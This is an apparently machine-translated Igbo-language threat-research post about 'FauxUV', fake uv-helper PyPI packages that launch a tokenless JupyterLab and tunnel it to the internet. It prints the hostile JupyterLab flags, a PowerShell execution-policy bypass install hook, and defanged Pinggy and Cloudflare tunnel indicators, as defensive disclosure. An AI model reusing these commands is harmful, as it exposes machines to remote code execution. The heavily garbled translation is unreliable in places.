FauxUV: Ngwugwu uv PyPI adịgboroja Emeghere Jupyter na Weebụ

FauxUV: ndị enyemaka UV PyPI adịgboroja na-emepe sava Jupyter na-enweghị ikike na ịntanetị

TL; DR

Otu ìgwè ngwugwu PyPI gbaziri aha nke uv, onye njikwa ngwugwu Python nke dabeere na Rust dị ngwa ngwa ma dịkwa oke ewu ewu, iji mee ka a mara na ha bụ ndị enyemaka UV. Ha anaghị eziga ọrụ ọ bụla. Kama nke ahụ, ihe ha na-ebu bụ ibu ọrụ Windows nke na-eguzo ọtọ Sava JupyterLab agbanyụrụ na njirimara agbanyụrụ na, na nsụgharị ndị ọzọ, na-ebipụta ya na ịntanetị ọha site na ọwara azụ.

Nke ahụ bụ akụkọ dum n'otu ahịrị: Aha ngwaọrụ a tụkwasịrị obi dị ka ihe ndọta, na JupyterLab dị ka injin njikwa koodu dịpụrụ adịpụ. Ihe nkesa Jupyter na-agba koodu ọ bụla ị pịnyere na nke a abụghịebook cell; otu e tinyere ihe ngosi efu ma jikọọ na njikọ netwọk ọ bụla bụ ihe ntụgharị okwu mepere emepe nke onye ọ bụla nwere ike iru ọdụ ụgbọ mmiri nwere ike ịkwọ ụgbọala.

Anyị na-esochi otu ahụ dịka FauxUVNgwugwu abụọ a nyochachara bụ moon-uv (0.0.1-0.0.16) na my-magic-uv-helper (0.0.1), nke otu onye ọrụ ahụ bipụtara ma bipụta na PyPI n'oge nyocha.

NgwurugwuP&IP
nchịkọtamoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
Ezubere ikpo okwu ahụ maka yaWindows
Àgwà bụ́ isiSava JupyterLab na-enweghị ikike, nke e bipụtara na ịntanetị site na ọwara azụ
Ngwaọrụ ndị ziri ezi e ji aka mee iheuv, JupyterLab, ígwé ojii, Pinggy

Ihe na-adọrọ mmasị: aha ị tụkwasịrị obi

uv bụ otu n'ime ngwaọrụ Python kachasị arụnyere n'ime afọ abụọ gara aga, yabụ "onye enyemaka maka uv"bụ ngwugwu onye nrụpụta na-etinye n'echeghị echiche. FauxUV na-eji aha ahụ atụkwasị obi kpamkpam. Ngwugwu ndị ahụ na-ekpuchi ezi uv onye nrụnye sitere na Astral — URL ndị dị na ebe a na-akwụ ụgwọ na ezigbo ndị ọbịa a ma ama — yabụ ilele ngwa ngwa na-ahụ ihe ọ bụla ma e wezụga ntụaka a pụrụ ịtụkwasị obi. Ọ dịghị nke ọ bụla n'ime ngwugwu ndị ahụ na-agbakwụnye n'ezie. uv ọrụ; aha ahụ bụ ihe mkpuchi ahụ dum.

JupyterLab dị ka injin RCE

Isi ihe dị na ngwa a bụ ihe eji ebido JupyterLab ma ewepụ ihe nchekwa ọ bụla:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Ọkọlọtọ ọ bụla na-ewepụ ihe nchebe, edemede e zigara na-edetukwa ha (n'asụsụ Chaịna mbụ): akara efu ahụ "Na-agbanyụ paswọọdụ na nlele akara - onye ọ bụla nwere ike ijikọ." ụlọ nyocha jupyter bụ IDE data-sayensị ziri ezi, mana ọ bụghịebook cell na-eme koodu aka ike site na imewe. Haziri ya n'ụzọ a ma jikọta ya na 0.0.0.0, ọ kwụsịrị ịbụ IDE ma ghọọ shei dịpụrụ adịpụ na-enweghị ikike na onye ọbịa ahụ - ọ dịghị mkpa ka a kpọọ malware binary omenala, naanị ngwaọrụ bụ isi na-egosi ụzọ na-ezighi ezi.

Akụkụ nkwado abụọ na-eme ka nke ahụ bụrụ ihe a pụrụ iru ma na-emegharị ugboro ugboro:

  • Ihe mkpali nrụnye dị jụụ. Mbido mbụ na-eji PowerShell arụ ọrụ -Ndị Nkwụsị Ụdị Egwu kwụ ọtọ site na Mbido.py on pip tinye, n'azụ ya na mmejọ e gbochiri ya pip ọ dị ka ihe nkịtị. Nsụgharị ndị mechara na-akwaga otu ihe mbụ ahụ n'ime pip-uv ngwaọrụ iwu - ma hapụ oge nrụnye akpaka kpamkpam.
  • Ọwara ihu ọha. Ihe nkesa dị na 0.0.0.0 Ọ ka bụ naanị ndị ọbịa nwere ike iru ya ma ọ bụ banye na igwe ahụ. Modulu ejikọtara ọnụ na-emepe [Pinggy](https://pinggy.io/) Ọwara azụ SSH nke na-ebuga ọdụ ụgbọ mmiri Jupyter dị na mpaghara gaa na adreesị ọha, na-ewepụ oke ahụ. Ederede ebufere na-ebukwa — kwuru — ụzọ ọzọ site na iji Cloudflare's ígwé ojii na a netsh onye nnọchiteanya ọdụ ụgbọ mmiri gaa na Linode IP, na-edekọ otu ebumnuche ahụ site na akụrụngwa dị iche iche.

Tinye ihe niile: wụnye ngwugwu ahụ, onye na-ahazi Windows ga-emecha jiri JupyterLab na-enweghị paswọọdụ wee bipụta ya na ịntanetị mepere emepe.

Otu FauxUV si gbasaa

E zigara ụdị FauxUV n'usoro ngwa ngwa, ebe ihe na-akpali ibu ahụ gafere ha — ihe ncheta na otu ụdị e dere akara anaghị akọ akụkọ zuru oke gbasara ahịrị ngwugwu.

ogbo Versions ịkpalite Ihe ọ na-agbakwụnye
Nko nrụnye moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py na ntinye pip Wụnye uv + PATH prepend
Oge ọrụ CLI moon-uv 0.0.5-0.0.13 pip-uv iwu onye na-ebu ụzọ JupyterLab na-enweghị paswọọdụ
ọwara moon-uv 0.0.14-0.0.16 pip-uv iwu ọwara azụ Pinggy na-arụ ọrụ

Ihe dị mkpa bụ na oge nrụnye ahụ na-agba ọsọ na akpaghị aka. wepụrụ na ụdị ndị ọzọ dị ike karịa — yabụ ihe nyocha na-ejide naanị okirikiri ndụ hooks ga-enye akara ndị ọhụrụ dị ka Mpekarị ihe ize ndụ, kpọmkwem azụ azụ.

Ihe ngosi nke nkwekọrịta

A kwadoro ya site n'ịgụ isi iyi ngwugwu ahụ; akara njedebe akara kwuru dị na faịlụ ndị ahụ mana ụdị nyocha ahụ anaghị arụ ọrụ. A na-ehichapụ ihe ngosi netwọk.

ụdị egosi
Wụnye iwu powershell -ExecutionPolicy Bypass ịchọta ezigbo onye nrụnye uv, n'oge nrụnye pip
Ọkọlọtọ JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Ọwara azụ (na-arụ ọrụ) free[.]pinggy[.]io:443 izipu mpaghara 127.0.0.1:8888
Onye na-anabata ọwara (ekwuru) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (ekwuru okwu) 45[.]79[.]134[.]161 (Linode) site na netsh port-proxy
Iguzosi ike na-akwado %USERPROFILE%\.local\bin nye onye ọrụ PATH

Ihe ịrịba ama omume kwesịrị ịdọ aka ná ntị na ya, n'adabereghị na eriri ndị a kpọmkwem: pip tinye nke ahụ na-amịpụta ike -Mmezu Iwu Ngafe; ọ bụla jupyter njikọta mmalite akara ngosi = "" na –ip=0.0.0.0na-apụ apụ na SSH gaa na *.pinggy.io site na onye nrụpụta ma ọ bụ igwe CI.

Omume na mmalite a hụrụ

Ngwugwu abụọ ahụ nwere otu onye dere ya na otu usoro: aha ngwaọrụ a pụrụ ịtụkwasị obi, ihe na-egbochi naanị Windows, mmejuputa ndabere nke njehie na-egbochi, na ịdabere na ngwaọrụ a ma ama ka ilele ngwa ngwa wee hụ naanị URL ndị a ma ama. Isi mmalite ahụ nwere okwu ndị China na-akọwa ọkọlọtọ ndị metụtara nchekwa nke ọma; anyị na-akọ akụkọ ndị ahụ dị ka okwu a na-ahụ anya na faịlụ ahụ, ọ bụghị dị ka nkwupụta gbasara ebumnuche. allow_origin uru na a colab.bat aha faịlụ ahụ na-eme ka usoro ọrụ "kesaa oge m na-agba ọsọ mpaghara m" nke na-agbasa maka Google Colab. N'agbanyeghị ebe o si bịa, ihe si na ngwugwu pụta bụ otu.

Mmetụta na nduzi maka ndị na-agbachitere

Onye na-enweta FauxUV. Ndị mmepe Windows na ndị na-agba ọsọ CI nke pip tinye otu n'ime ngwugwu ndị a. JupyterLab na-enweghị paswọọdụ dị na ya 0.0.0.0 bụ mmejuputa koodu dịpụrụ adịpụ maka onye ọ bụla nwere ike iru ọdụ ụgbọ mmiri; ọwara ahụ na-ewepụ oke "onye nwere ike iru ya". Sava ahụ na-agba ọsọ dị ka onye na-etinye ya, na-eketa faịlụ onye ọrụ ahụ, ihe nrịbama, na nzere ígwé ojii.

Ihe mere o ji dị mfe ichefu. Eriri netwọk ọ bụla na-egosi na onye ọbịa a ma ama — Astral, JupyterLab, ígwé ojii, Pinggy, Colab. Enweghị malware binary ruo hash na enweghị blob obfuscated iji kọwaa. Nnyocha aha na mbinye aka dabere na ya anaghị ebelata nke a, ọ bụ ya mere ajụjụ omume ahụ ji dị mkpa — kedu ihe itinye ngwugwu a na-eme ka igwe ahụ mee? — ọ bụ nke na-ejide ya.

Nduzi:

  • Jiri oge nrụnye ọ bụla mee ihe ike -Mmezu Iwu Ngafe dị ka ihe mgbaàmà na-emebi ihe, ihe ọ bụla URL ọ na-enweta.
  • Gaa na jupyter malitere na ihe efu na –ip=0.0.0.0; nchikota ahụ ekwesịghị ịpụta na ebe ọrụ ma ọ bụ onye na-agba ọsọ.
  • Nyochaa maka ndị na-enye ọrụ SSH na ọwara na-apụ apụ (*.pinggy.io, *.trycloudflare.com) site na gburugburu ndị mmepe na CI.
  • wụnye uv site na [isi mmalite ya](https://docs.astral.sh/uv/) ma nwee obi abụọ maka ngwugwu "onye enyemaka" nke ndị ọzọ nke na-ekpuchi ngwaọrụ dị oke mkpa ịwụnye.
  • Tinye ma leleeghachi ihe ndị dabere na mmelite - ahịrị ngwugwu nwere ike ịbawanye ikike ọhụrụ nke ụdị-n'elu ụdị.
ngwaọrụ nyocha sca-ngwaọrụ-ngwanrọ-nchịkọta-ngwaọrụ nyocha
Mee ka ihe egwu dị na ngwanrọ gị buo ibu, dozie ya, ma chekwaa ya
Nweta Akaụntụ N'efu gị.
Enweghị kaadị akwụmụgwọ achọrọ.

Chekwaa mmepe na nnyefe ngwanrọ gị

ya na Xygeni Product Suite